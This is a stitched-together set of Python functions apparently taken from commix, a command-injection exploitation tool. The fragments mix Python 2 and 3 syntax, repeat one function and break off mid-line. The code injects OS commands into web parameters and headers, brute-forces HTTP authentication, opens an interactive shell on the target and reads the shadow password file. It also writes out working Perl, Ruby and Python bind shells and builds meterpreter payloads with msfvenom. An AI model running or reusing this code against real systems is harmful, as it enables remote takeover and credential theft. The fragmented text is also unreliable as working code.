info_msg += "[ " + str(percent) + "% ]" elif menu.options.verbose == 1: info_msg += "" else: info_msg += "\n" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() for num_of_chars in range(1, int(num_of_chars)): char_pool = checks.generate_char_pool(num_of_chars) for ascii_char in char_pool: if alter_shell: # Get the execution output, of shell execution. payload = tb_payloads.get_char_alter_shell( separator, cmd, num_of_chars, ascii_char, timesec, http_request_method) else: # Get the execution output, of shell execution. payload = tb_payloads.get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = payload.replace(" ", whitespace) # Perform payload modification payload = checks.perform_payload_modification(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: payload_msg = payload.replace("\n", "\\n") sys.stdout.write("\n" + settings.print_payload(payload_msg)) # Check if defined "--verbose" option. elif settings.VERBOSITY_LEVEL > 1: info_msg = "Generating a payload for injection..." print settings.print_info_msg(info_msg) payload_msg = payload.replace("\n", "\\n") sys.stdout.write( settings.print_payload(payload_msg) + "\n") # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: how_long = cookie_injection_test(url, vuln_parameter, payload) # Check if defined user-agent with "INJECT_HERE" tag elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: how_long = user_agent_injection_test( url, vuln_parameter, payload) # Check if defined referer with "INJECT_HERE" tag elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: how_long = referer_injection_test(url, vuln_parameter, payload) # Check if defined host with "INJECT_HERE" tag elif menu.options.host and settings.INJECT_TAG in menu.options.host: how_long = host_injection_test(url, vuln_parameter, payload) # Check if defined custom header with "INJECT_HERE" tag elif settings.CUSTOM_HEADER_INJECTION: how_long = custom_header_injection_test( url, vuln_parameter, payload) else: how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) # Examine time-responses injection_check = False if (how_long >= settings.FOUND_HOW_LONG and how_long - timesec >= settings.FOUND_DIFF): injection_check = True if injection_check == True: if not settings.VERBOSITY_LEVEL >= 1: output.append(chr(ascii_char)) percent = ((num_of_chars * 100) / output_length) float_percent = str("{0:.1f}".format( round(((num_of_chars * 100) / (output_length * 1.0)), 2))) + "%" if percent == 100: float_percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL info_msg = "Presuming the execution output, " info_msg += "please wait... [ " + float_percent + " ]" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() else: output.append(chr(ascii_char)) injection_check = False break check_end = time.time() check_how_long = int(check_end - check_start) output = "".join(str(p) for p in output) # Check for empty output. if output == (len(output) * " "): output = "" else: check_start = 0 if not settings.VERBOSITY_LEVEL >= 1: sys.stdout.write("[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]") sys.stdout.flush() else: print "" check_how_long = 0 output = False if settings.VERBOSITY_LEVEL >= 1 and menu.options.ignore_session: print "" return check_how_long, output
def http_auth_cracker(url, realm): # Define the HTTP authentication type. authentication_type = menu.options.auth_type # Define the authentication wordlists for usernames / passwords. usernames, passwords = define_wordlists() i = 1 found = False total = len(usernames) * len(passwords) for username in usernames: for password in passwords: float_percent = "{0:.1f}%".format( round(((i * 100) / (total * 1.0)), 2)) # Check if verbose mode on if settings.VERBOSITY_LEVEL >= 1: payload = "" + username + ":" + password + "" if settings.VERBOSITY_LEVEL > 1: print(settings.print_checking_msg(payload)) else: sys.stdout.write("\r" + settings.print_checking_msg(payload) + " " * 10) sys.stdout.flush() try: # Basic authentication if authentication_type.lower() == "basic": authhandler = _urllib.request.HTTPBasicAuthHandler() # Digest authentication elif authentication_type.lower() == "digest": authhandler = _urllib.request.HTTPDigestAuthHandler() authhandler.add_password(realm, url, username, password) opener = _urllib.request.build_opener(authhandler) _urllib.request.install_opener(opener) request = _urllib.request.Request(url) headers.do_check(request) headers.check_http_traffic(request) # Check if defined any HTTP Proxy (--proxy option). if menu.options.proxy: proxy.use_proxy(request) # Check if defined Tor (--tor option). elif menu.options.tor: tor.use_tor(request) response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) # Store valid results to session admin_panel = url session_handler.import_valid_credentials( url, authentication_type, admin_panel, username, password) found = True except KeyboardInterrupt: raise except _urllib.error.HTTPError: pass if found: if settings.VERBOSITY_LEVEL == 0: float_percent = settings.info_msg else: if str(float_percent) == "100.0%": if settings.VERBOSITY_LEVEL == 0: float_percent = settings.FAIL_STATUS else: i = i + 1 float_percent = ".. (" + float_percent + ")" if settings.VERBOSITY_LEVEL == 0: info_msg = "Checking for a valid pair of credentials." info_msg += float_percent sys.stdout.write("\r\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if found: valid_pair = "" + username + ":" + password + "" if not settings.VERBOSITY_LEVEL > 1: print("") info_msg = "Identified a valid pair of credentials '" info_msg += valid_pair + Style.RESET_ALL + Style.BRIGHT + "'." print(settings.print_bold_info_msg(info_msg)) return valid_pair err_msg = "Use the '--auth-cred' option to provide a valid pair of " err_msg += "HTTP authentication credentials (i.e --auth-cred=\"admin:admin\") " err_msg += "or place an other dictionary into '" err_msg += os.path.abspath( os.path.join(os.path.dirname(__file__), '..', 'txt')) + "/' directory." print("\n" + settings.print_critical_msg(err_msg)) return False # eof
def other_bind_shells(): while True: other_shell = raw_input( """ ---[ """ + Style.BRIGHT + Fore.BLUE + """Unix-like bind TCP shells""" + Style.RESET_ALL + """ ]--- Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use a PHP bind TCP shell. Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use a Perl bind TCP shell. Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use a Ruby bind TCP shell. Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use a Python bind TCP shell. \n---[ """ + Style.BRIGHT + Fore.BLUE + """Meterpreter bind TCP shells""" + Style.RESET_ALL + """ ]--- Type '""" + Style.BRIGHT + """5""" + Style.RESET_ALL + """' to use a PHP meterpreter bind TCP shell. Type '""" + Style.BRIGHT + """6""" + Style.RESET_ALL + """' to use a Python meterpreter bind TCP shell. commix(""" + Style.BRIGHT + Fore.RED + """bind_tcp_other""" + Style.RESET_ALL + """) > """) # PHP-bind-shell if other_shell == '1': if not os.path.exists(settings.METASPLOIT_PATH): error_msg = settings.METASPLOIT_ERROR_MSG print settings.print_error_msg(error_msg) continue payload = "php/bind_php" output = "php_bind_tcp.rc" info_msg = "Generating the '" + payload + "' payload... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: proc = subprocess.Popen( "msfvenom -p " + str(payload) + " RHOST=" + str(settings.RHOST) + " LPORT=" + str(settings.LPORT) + " -e php/base64 -o " + output + ">/dev/null 2>&1", shell=True).wait() with open(output, "r+") as content_file: data = content_file.readlines() data = ''.join(data).replace("\n", " ") print "[" + Fore.GREEN + " SUCCEED " + Style.RESET_ALL + "]" # Remove the ouput file. os.remove(output) with open(output, 'w+') as filewrite: filewrite.write("use exploit/multi/handler\n" "set payload " + payload + "\n" "set rhost " + str(settings.RHOST) + "\n" "set lport " + str(settings.LPORT) + "\n" "exploit\n\n") if settings.TARGET_OS == "win" and not settings.USER_DEFINED_PHP_DIR: set_php_working_dir() other_shell = settings.WIN_PHP_DIR + " -r " + data else: other_shell = "php -r \"" + data + "\"" msf_launch_msg(output) except: print "[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]" break # Perl-bind-shell elif other_shell == '2': other_shell = "perl -MIO -e '" \ "$c=new IO::Socket::INET(LocalPort," + settings.LPORT + ",Reuse,1,Listen)->accept;" \ "$~->fdopen($c,w);STDIN->fdopen($c,r);system$_ while<>'" break # Ruby-bind-shell elif other_shell == '3': other_shell = "ruby -rsocket -e '" \ "s=TCPServer.new(" + settings.LPORT + ");" \ "c=s.accept;" \ "s.close;" \ "$stdin.reopen(c);" \ "$stdout.reopen(c);" \ "$stderr.reopen(c);" \ "$stdin.each_line{|l|l=l.strip;" \ "next if l.length==0;" \ "(IO.popen(l,\"rb\"){|fd| fd.each_line {|o| c.puts(o.strip)}})}'" break # Python-bind-shell elif other_shell == '4': other_shell = "python -c 'import pty,os,socket%0d" \ "s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)%0d" \ "s.bind((\"\"," + settings.LPORT + "))%0d" \ "s.listen(1)%0d" \ "(rem, addr) = s.accept()%0d" \ "os.dup2(rem.fileno(),0)%0d" \ "os.dup2(rem.fileno(),1)%0d" \ "os.dup2(rem.fileno(),2)%0d" \ "pty.spawn(\"/bin/sh\")%0d" \ "s.close()'" break # PHP-bind-shell(meterpreter) elif other_shell == '5': if not os.path.exists(settings.METASPLOIT_PATH): error_msg = settings.METASPLOIT_ERROR_MSG print settings.print_error_msg(error_msg) continue payload = "php/meterpreter/bind_tcp" output = "php_meterpreter.rc" info_msg = "Generating the '" + payload + "' payload... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: proc = subprocess.Popen( "msfvenom -p " + str(payload) + " RHOST=" + str(settings.RHOST) + " LPORT=" + str(settings.LPORT) + " -e php/base64 -o " + output + ">/dev/null 2>&1", shell=True).wait() with open(output, "r+") as content_file: data = content_file.readlines() data = ''.join(data).replace("\n", " ") print "[" + Fore.GREEN + " SUCCEED " + Style.RESET_ALL + "]" # Remove the ouput file. os.remove(output) with open(output, 'w+') as filewrite: filewrite.write("use exploit/multi/handler\n" "set payload " + payload + "\n" "set rhost " + str(settings.RHOST) + "\n" "set lport " + str(settings.LPORT) + "\n" "exploit\n\n") if settings.TARGET_OS == "win" and not settings.USER_DEFINED_PHP_DIR: set_php_working_dir() other_shell = settings.WIN_PHP_DIR + " -r " + data else: other_shell = "php -r \"" + data + "\"" msf_launch_msg(output) except: print "[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]" break # Python-bind-shell(meterpreter) elif other_shell == '6': if not os.path.exists(settings.METASPLOIT_PATH): error_msg = settings.METASPLOIT_ERROR_MSG print settings.print_error_msg(error_msg) continue payload = "python/meterpreter/bind_tcp" output = "py_meterpreter.rc" info_msg = "Generating the '" + payload + "' payload... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: proc = subprocess.Popen("msfvenom -p " + str(payload) + " RHOST=" + str(settings.RHOST) + " LPORT=" + str(settings.LPORT) + " -o " + output + ">/dev/null 2>&1", shell=True).wait() with open(output, "r") as content_file: data = content_file.readlines() data = ''.join(data) data = base64.b64encode(data) print "[" + Fore.GREEN + " SUCCEED " + Style.RESET_ALL + "]" # Remove the ouput file. os.remove(output) with open(output, 'w+') as filewrite: filewrite.write("use exploit/multi/handler\n" "set payload " + payload + "\n" "set rhost " + str(settings.RHOST) + "\n" "set lport " + str(settings.LPORT) + "\n" "exploit\n\n") if settings.TARGET_OS == "win" and not settings.USER_DEFINED_PYTHON_DIR: set_python_working_dir() other_shell = settings.WIN_PYTHON_DIR + " -c exec('" + data + "'.decode('base64'))" else: other_shell = "python -c \"exec('" + data + "'.decode('base64'))\"" msf_launch_msg(output) except: print "[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]" break # Check for available shell options elif any(option in other_shell.lower() for option in settings.SHELL_OPTIONS): if shell_options(other_shell): return shell_options(other_shell) # Invalid option else: err_msg = "The '" + other_shell + "' option, is not valid." print settings.print_error_msg(err_msg) continue return other_shell
def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename): if alter_shell: # Classic decision payload (check if host is vulnerable). payload = cb_payloads.cmd_execution_alter_shell( separator, TAG, cmd) else: # Classic decision payload (check if host is vulnerable). payload = cb_payloads.cmd_execution(separator, TAG, cmd) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = payload.replace(" ", whitespace) # Perform payload modification payload = checks.perform_payload_modification(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL >= 1: info_msg = "Executing the '" + cmd + "' command... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() sys.stdout.write("\n" + settings.print_payload(payload) + "\n") # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: response = cookie_injection_test(url, vuln_parameter, payload) # Check if defined user-agent with "INJECT_HERE" tag elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: response = user_agent_injection_test(url, vuln_parameter, payload) # Check if defined referer with "INJECT_HERE" tag elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: response = referer_injection_test(url, vuln_parameter, payload) # Check if defined host with "INJECT_HERE" tag elif menu.options.host and settings.INJECT_TAG in menu.options.host: response = host_injection_test(url, vuln_parameter, payload) # Check if defined custom header with "INJECT_HERE" tag elif settings.CUSTOM_HEADER_INJECTION: response = custom_header_injection_test(url, vuln_parameter, payload) else: # Check if defined method is GET (Default). if http_request_method == "GET": # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url) target = url.replace(settings.INJECT_TAG, payload) vuln_parameter = ''.join(vuln_parameter) request = urllib2.Request(target) # Check if defined extra headers. headers.do_check(request) # Get the response of the request. response = requests.get_request_response(request) else: # Check if defined method is POST. parameter = menu.options.data parameter = urllib2.unquote(parameter) # Check if its not specified the 'INJECT_HERE' tag parameter = parameters.do_POST_check(parameter) parameter = parameter.replace("+", "%2B") # Define the POST data if settings.IS_JSON: payload = payload.replace("\"", "\\\"") data = parameter.replace(settings.INJECT_TAG, urllib.unquote(payload)) try: data = json.loads(data, strict=False) except: pass request = urllib2.Request(url, json.dumps(data)) else: if settings.IS_XML: data = parameter.replace(settings.INJECT_TAG, urllib.unquote(payload)) else: data = parameter.replace(settings.INJECT_TAG, payload) request = urllib2.Request(url, data) # Check if defined extra headers. headers.do_check(request) # Get the response of the request. response = requests.get_request_response(request) return response
def cb_injection_handler(url, timesec, filename, http_request_method): shell = False counter = 1 vp_flag = True no_result = True is_encoded = False export_injection_info = False injection_type = "results-based OS command injection" technique = "classic command injection technique" if not settings.LOAD_SESSION: info_msg = "Testing the " + "(" + injection_type.split( " ")[0] + ") " + technique + "... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() if settings.VERBOSITY_LEVEL >= 1: print("") i = 0 # Calculate all possible combinations total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len( settings.SEPARATORS) * len(settings.SUFFIXES) for whitespace in settings.WHITESPACE: for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: if whitespace == " ": whitespace = _urllib.parse.quote(whitespace) # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False # If a previous session is available. if settings.LOAD_SESSION and session_handler.notification( url, technique, injection_type): try: settings.CLASSIC_STATE = True url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation( url, http_request_method) checks.check_for_stored_tamper(payload) except TypeError: err_msg = "An error occurred while accessing session file ('" err_msg += settings.SESSION_FILE + "'). " err_msg += "Use the '--flush-session' option." print(settings.print_critical_msg(err_msg)) raise SystemExit() else: i = i + 1 # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" # Change TAG on every request to prevent false-positive results. TAG = ''.join( random.choice(string.ascii_uppercase) for i in range(6)) randv1 = random.randrange(100) randv2 = random.randrange(100) randvcalc = randv1 + randv2 # Define alter shell alter_shell = menu.options.alter_shell try: if alter_shell: # Classic -alter shell- decision payload (check if host is vulnerable). payload = cb_payloads.decision_alter_shell( separator, TAG, randv1, randv2) else: # Classic decision payload (check if host is vulnerable). payload = cb_payloads.decision( separator, TAG, randv1, randv2) # Define prefixes & suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = payload.replace(" ", whitespace) # Perform payload modification payload = checks.perform_payload_modification( payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: print(settings.print_payload(payload)) elif settings.VERBOSITY_LEVEL > 1: info_msg = "Generating payload for the injection..." print(settings.print_info_msg(info_msg)) print(settings.print_payload(payload)) # Cookie header injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie header injection. vuln_parameter = parameters.specify_cookie_parameter( menu.options.cookie) response = cb_injector.cookie_injection_test( url, vuln_parameter, payload) # User-Agent HTTP header injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent HTTP header injection. vuln_parameter = parameters.specify_user_agent_parameter( menu.options.agent) response = cb_injector.user_agent_injection_test( url, vuln_parameter, payload) # Referer HTTP header injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer HTTP header injection. vuln_parameter = parameters.specify_referer_parameter( menu.options.referer) response = cb_injector.referer_injection_test( url, vuln_parameter, payload) # Host HTTP header injection elif settings.HOST_INJECTION == True: # Check if target host is vulnerable to host HTTP header injection. vuln_parameter = parameters.specify_host_parameter( menu.options.host) response = cb_injector.host_injection_test( url, vuln_parameter, payload) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom http header injection. vuln_parameter = parameters.specify_custom_header_parameter( settings.INJECT_TAG) response = cb_injector.custom_header_injection_test( url, vuln_parameter, payload) else: # Check if target host is vulnerable. response, vuln_parameter = cb_injector.injection_test( payload, http_request_method, url) # Try target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) # Evaluate test results. time.sleep(timesec) shell = cb_injector.injection_test_results( response, TAG, randvcalc) if not settings.VERBOSITY_LEVEL >= 1: percent = ((i * 100) / total) float_percent = "{0:.1f}".format( round(((i * 100) / (total * 1.0)), 2)) if shell == False: info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "... " + "[ " + float_percent + "%" + " ]" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if float(float_percent) >= 99.9: if no_result == True: percent = Fore.RED + "FAILED" + Style.RESET_ALL else: percent = str(float_percent) + "%" elif len(shell) != 0: percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL else: percent = str(float_percent) + "%" info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "... " + "[ " + percent + " ]" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() except KeyboardInterrupt: raise except SystemExit: raise except EOFError: err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) raise except: continue # Yaw, got shellz! # Do some magic tricks! if shell: found = True no_result = False # Check injection state settings.DETECTION_PHASE = False settings.EXPLOITATION_PHASE = True if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.HOST_INJECTION == True: header_name = " Host" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method == "GET": found_vuln_parameter = parameters.vuln_GET_param( url) else: found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0: found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique( export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter( vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.LOAD_SESSION: if not settings.VERBOSITY_LEVEL >= 1: print("") else: checks.total_of_requests() # Print the findings to terminal. success_msg = "The" if len(found_vuln_parameter ) > 0 and not "cookie" in header_name: success_msg += " " + http_request_method + "" success_msg += ('', ' (JSON)')[settings.IS_JSON] + ( '', ' (SOAP/XML)' )[settings.IS_XML] + the_type + header_name success_msg += found_vuln_parameter + " seems injectable via " success_msg += "(" + injection_type.split( " ")[0] + ") " + technique + "." print(settings.print_success_msg(success_msg)) print(settings.SUB_CONTENT_SIGN + str(checks.url_decode(payload)) + Style.RESET_ALL) # Export session if not settings.LOAD_SESSION: session_handler.injection_point_importation( url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level) else: whitespace = settings.WHITESPACE[0] settings.LOAD_SESSION = False # Check for any enumeration options. new_line = True if settings.ENUMERATION_DONE == True: while True: if not menu.options.batch: question_msg = "Do you want to enumerate again? [Y/n] > " enumerate_again = _input( "\n" + settings.print_question_msg( question_msg)).lower() else: enumerate_again = "" if len(enumerate_again) == 0: enumerate_again = "y" if enumerate_again in settings.CHOICE_YES: cb_enumeration.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) #print("") break elif enumerate_again in settings.CHOICE_NO: new_line = False break elif enumerate_again in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + enumerate_again + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: if menu.enumeration_options(): cb_enumeration.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) if not menu.file_access_options( ) and not menu.options.os_cmd and new_line: print("") # Check for any system file access options. if settings.FILE_ACCESS_DONE == True: if settings.ENUMERATION_DONE != True: print("") while True: if not menu.options.batch: question_msg = "Do you want to access files again? [Y/n] > " file_access_again = _input( settings.print_question_msg( question_msg)) else: file_access_again = "" if len(file_access_again) == 0: file_access_again = "y" if file_access_again in settings.CHOICE_YES: cb_file_access.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) print("") break elif file_access_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + file_access_again + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: if menu.file_access_options(): # if not menu.enumeration_options(): # print("") cb_file_access.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) print("") # Check if defined single cmd. if menu.options.os_cmd: # if not menu.file_access_options(): # print("") cb_enumeration.single_os_cmd_exec( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break if not menu.options.batch: question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " gotshell = _input( settings.print_question_msg(question_msg)) else: gotshell = "" if len(gotshell) == 0: gotshell = "y" if gotshell in settings.CHOICE_YES: if not menu.options.batch: print("") print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") if readline_error: checks.no_readline_module() while True: try: if not readline_error: # Tab compliter readline.set_completer( menu.tab_completer) # MacOSX tab compliter if getattr( readline, '__doc__', '' ) is not None and 'libedit' in getattr( readline, '__doc__', ''): readline.parse_and_bind( "bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind( "tab: complete") cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) if cmd.lower( ) in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") if go_back and go_back_again == False: break if go_back and go_back_again: return True else: # Command execution results. time.sleep(timesec) response = cb_injector.injection( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Try target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload( url, timesec) if menu.options.ignore_session or \ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Evaluate injection results. try: shell = cb_injector.injection_results( response, TAG, cmd) shell = "".join( str(p) for p in shell) except: print("") continue if not menu.options.ignore_session: session_handler.store_cmd( url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd( url, cmd, vuln_parameter) if shell: html_parser = _html_parser.HTMLParser( ) shell = html_parser.unescape( shell) # Update logs with executed cmds and execution results. logs.executed_command( filename, cmd, shell) if shell != "": print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n") else: if settings.VERBOSITY_LEVEL >= 1: print("") err_msg = "The '" + cmd + "' command, does not return any output." print( settings. print_critical_msg( err_msg) + "\n") except KeyboardInterrupt: raise except SystemExit: raise except EOFError: err_msg = "Exiting, due to EOFError." print( settings.print_error_msg(err_msg)) raise elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector( technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + gotshell + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass if no_result == True: if settings.VERBOSITY_LEVEL == 0: print("") return False else: sys.stdout.write("\r") sys.stdout.flush()
def check_injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): # Execute shell commands on vulnerable host. if alter_shell : payload = fb_payloads.cmd_execution_alter_shell(separator, cmd, OUTPUT_TEXTFILE) else: payload = fb_payloads.cmd_execution(separator, cmd, OUTPUT_TEXTFILE) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = re.sub(" ", whitespace, payload) # Encode payload to base64 format. if settings.TAMPER_SCRIPTS['base64encode']: from src.core.tamper import base64encode payload = base64encode.encode(payload) # Encode payload to hex format. elif settings.TAMPER_SCRIPTS['hexencode']: from src.core.tamper import hexencode payload = hexencode.encode(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL >= 1: payload_msg = payload.replace("\n", "\\n") if settings.COMMENT in payload_msg: payload_msg = payload_msg.split(settings.COMMENT)[0] info_msg = "Executing the '" + cmd.split(settings.COMMENT)[0] + "' command... " sys.stdout.write("\n" + settings.print_info_msg(info_msg)) sys.stdout.flush() sys.stdout.write("\n" + settings.print_payload(payload).split(settings.COMMENT)[0] + "\n") # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: response = cookie_injection_test(url, vuln_parameter, payload) # Check if defined user-agent with "INJECT_HERE" tag elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: response = user_agent_injection_test(url, vuln_parameter, payload) # Check if defined referer with "INJECT_HERE" tag elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: response = referer_injection_test(url, vuln_parameter, payload) # Check if defined custom header with "INJECT_HERE" tag elif settings.CUSTOM_HEADER_INJECTION: response = custom_header_injection_test(url, vuln_parameter, payload) else: # Check if defined method is GET (Default). if http_request_method == "GET": # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url) payload = payload.replace(" ","%20") target = re.sub(settings.INJECT_TAG, payload, url) vuln_parameter = ''.join(vuln_parameter) request = urllib2.Request(target) # Check if defined extra headers. headers.do_check(request) # Get the response of the request response = requests.get_request_response(request) else : # Check if defined method is POST. parameter = menu.options.data parameter = urllib2.unquote(parameter) # Check if its not specified the 'INJECT_HERE' tag parameter = parameters.do_POST_check(parameter) # Define the POST data if settings.IS_JSON == False: data = re.sub(settings.INJECT_TAG, payload, parameter) request = urllib2.Request(url, data) else: payload = payload.replace("\"", "\\\"") data = re.sub(settings.INJECT_TAG, urllib.unquote(payload), parameter) try: data = json.loads(data, strict = False) except: pass request = urllib2.Request(url, json.dumps(data)) # Check if defined extra headers. headers.do_check(request) # Get the response of the request response = requests.get_request_response(request) return response
def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): if settings.TARGET_OS == "win": # Not yet implemented! pass else: cmd = settings.SYS_PASSES if session_handler.export_stored_cmd( url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Perform target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) # Evaluate injection results. sys_passes = cb_injector.injection_results(response, TAG, cmd) sys_passes = "".join(str(p) for p in sys_passes) session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter) else: sys_passes = session_handler.export_stored_cmd( url, cmd, vuln_parameter) if sys_passes == "": sys_passes = " " if sys_passes: info_msg = "Fetching '" + settings.SHADOW_FILE info_msg += "' to enumerate users password hashes... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() sys_passes = sys_passes.replace(" ", "\n") sys_passes = sys_passes.split() if len(sys_passes) != 0: sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]") success_msg = "Identified " + str(len(sys_passes)) success_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1] success_msg += " in '" + settings.SHADOW_FILE + "'.\n" sys.stdout.write("\n" + settings.print_success_msg(success_msg)) sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write( re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub( "", settings.SUCCESS_SIGN) + success_msg) output_file.close() count = 0 for line in sys_passes: count = count + 1 try: if ":" in line: fields = line.split(":") if not "*" in fields[1] 